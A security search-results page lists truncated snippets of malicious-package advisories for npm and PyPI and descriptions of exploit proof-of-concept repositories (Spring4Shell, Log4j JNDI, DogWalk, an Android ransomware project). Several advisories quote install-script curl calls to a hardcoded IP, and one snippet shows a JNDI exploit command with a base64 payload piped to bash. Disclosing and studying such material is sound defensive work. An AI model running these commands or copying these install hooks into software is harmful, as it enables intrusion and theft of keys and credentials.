1127134 matches found
Rootsmart-v2.0
Rootsmart 2.0（含 cve-2019-2215 + 勒索软件） 免责声明 该项目仅用于教育目的。该项目使用了来自 rkshrksh/2048-Game 和 kangtastic/cve-2019-2215 的代码。 项目描述 本项目是新加坡理工大学移动安全模块的一部分。项目在 6 周内完成，目标是开发一个恶意 Android 应用程序。通过这样做，我们了解了 Android 操作系统中的安全机制是如何实现的，以及如何实践 OWASP Mobile Top 10:2017 M8 - 代码篡改。 该项目是一个概念验证，展示了一个自定义勒索软件，它利用 AES 加密、将...
MAL-2026-14399 Malicious code in sm-payment (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 926b17cedd788f5f626b3c4001ca9f1b9572abe425b87d40d6f03814d211e3e7 package.json declares preinstall and postinstall lifecycle scripts that curl a hardcoded bare IP over plain HTTP http://16.192.173.5/sm-payment/pre...
MAL-2026-14400 Malicious code in sm-session (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24 package.json declares preinstall and postinstall lifecycle scripts that each run curl -s http://16.192.173.5/sm-session/pre and curl -s...
Malicious code in sm-admin (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fa2741ebbd0df8c6f349a4d34361cc3d814fe878f3f4521fd771a855cfdc152b Package [email protected] defines preinstall and postinstall lifecycle scripts that issue plain-HTTP GET requests to a hardcoded bare-IP endpoint at...
MAL-2026-14393 Malicious code in sm-admin (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fa2741ebbd0df8c6f349a4d34361cc3d814fe878f3f4521fd771a855cfdc152b Package [email protected] defines preinstall and postinstall lifecycle scripts that issue plain-HTTP GET requests to a hardcoded bare-IP endpoint at...
MAL-2026-14396 Malicious code in sm-cart (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 14b02c7ed01f5b6da80999086ceced1c2eb8b8102384f6778862a0bb3ecaebe0 Package [email protected] declares preinstall and postinstall scripts that unconditionally run curl -s http://16.192.173.5/sm-cart/pre and curl -s...
Malicious code in sm-billing-form (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 422b9f6c71b124deff27a41ef4b595c308595c14af77dbd3756de0e625f86fc2 package.json defines preinstall and postinstall lifecycle scripts that run curl -s http://16.192.173.5/sm-billing-form/pre and curl -s...
MAL-2026-14384 Malicious code in mlflow-otel-instrumentor (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b08cc23ea60cf80f9bf13850e8222ee1cbb7a89643362c703eb402eef08d908c Package metadata impersonates AWS author "AWS Support Team", email [email protected], homepage https://aws.amazon.com/ while the actual payload is...
Spring4Shell-POC
Spring4Shell CVE-2022-22965 - 远程代码执行概念验证 一个完全容器化的概念验证（PoC） ，演示了如何利用 Spring4Shell（CVE-2022-22965） ，在部署于 Apache Tomcat 上的存在漏洞的 Spring Framework 应用中实现远程代码执行（RCE） 。 该项目重建了完整的漏洞环境，以便在安全、可复现的实验室中促进安全研究 、渗透测试练习 、漏洞分析 和防御性学习 。 免责声明 本仓库严格用于教育、研究和经授权的安全测试目的...
AntimalwareBlight
使用此 PowerShell 模块可在 antimalware-light 保护级别执行 PowerShell 代码。此代码在 Living Off the Walled Garden: Abusing the Features of the Early Launch Antimalware Ecosystem REcon 演讲以及 Black Hat USA 2022 中被重点提及。此模块需要以提升权限运行。此模块旨在强调 antimalware-light 保护防篡改功能的强度仅取决于最弱供应商的 ELAM 驱动程序。 感谢 Microsoft Defender...
Malicious code in svelte-dim-kit (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1857f7f4957bdb18eb0d5a997d957a38b825b62660f16d6a981232794cc10af0 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
Malicious code in hydration-dim-kit (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3659ec02e8317602c089b822a4a0533bee515d9666d07fdaf3cdf8b315a46147 On import, dist/index.mjs verifies a SHA-256 digest of a bundled Linux x8664 ELF at dist/internal/calc.dat, chmods it to 0755, and spawns it detached...
DogWalk-rce-poc
Dogwalk 概念验证🐾 root@kitploit: 🚨 免责声明 🚨 该 PoC 允许攻击者在 Windows 受害者设备上实现远程代码注入 。 本仓库的目标是让该 PoC 比初始仓库更加易于使用。 未经事先授权，请勿使用！ 鉴于其造成的危害和利用的简易性，希望微软能够修复它 2022年7月更新： 微软尚未修补 msdt 中的漏洞，但 Microsoft Defender 能够检测到它 🧠 理解原理 🐾 运行它 📺 观看演示 核心概念： 微软 Diagcab 技术（msdt）中的路径遍历漏洞，可能导致远程代码执行。 您可以在博客文章中查看完整安全通告。 该漏洞已被报告 2 年 （由...
w48crash
WebMod スタックバッファオーバーフロー CVE-2007-1260 著者: cybermind Kevin Masterson [email protected] WebMod サイト（アーカイブ）: https://web.archive.org/web/20080517044559/http://djeyl.net/w.php 影響を受けるバージョン: 0.48（Win32 と Linux の両方）。それ以前のバージョンも脆弱である可能性があります。これは HLDS の任意のバージョンで動作するはずです。 脆弱性の種類: DoS、HLDS...
Vulnerability-Assessment-Exploitation-Lab
漏洞评估与利用实验环境 Metasploitable 2 渗透测试实验室 执行摘要 本项目记录了一次针对 Metasploitable 2 Linux 环境的成功、全生命周期渗透测试。评估过程遵循 渗透测试执行标准（PTES） ，涵盖初始侦察、漏洞利用以及后渗透凭据恢复。主要目标是展示未修补遗留服务及弱密码策略所导致的安全风险。 技术实验架构 执行本实验需要专门的虚拟化策略，以桥接 Apple Silicon M5 芯片 上的架构差异： 攻击机： Kali Linux（ARM 版），通过 UTM 虚拟化。 目标机： Metasploitable 2（x86 架构），通过 UTM/QEMU...
solutions
Exploitmatic solutions !License: Apache 2.0https://img.sh...
CVE-2021-44228-Log4j-JNDI
访问 项目启动之后访问： http://127.0.0.1:9090/vul 漏洞复现 JDK 版本：java8u92 （避免使用过高的版本，建议同我一致，高版本对JNDI注入有一定限制） root@kitploit: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c echo,b3BlbiAtYSBDYWxjdWxhdG9y|base64,-d|bash,-i" -A 127.0.0.1 使用以上工具生成PAYLOAD。 访问...
MAL-2026-14383 Malicious code in @sdgdfgdfhhhfd/multiviewr (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3e2d548769641b2114a424739448d9df85d67cc176e694c6ff34ede446082b76 This package publishes a MetaMask snap that derives BIP44 entropy for coinType 60 Ethereum and transmits the resulting privateKey, publicKey and...
MAL-2026-14382 Malicious code in @sdgdfgdfhhhfd/chainvista (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8bf04f8e698eac423b3ba255617c60c9167b4b3453b7d73966ad62b02e0695a1 This MetaMask Snap derives BIP44 entropy for Ethereum coinType 60, Bitcoin 0, Solana 501, Cosmos 118, and Testnet 1 and POSTs the raw privateKey,...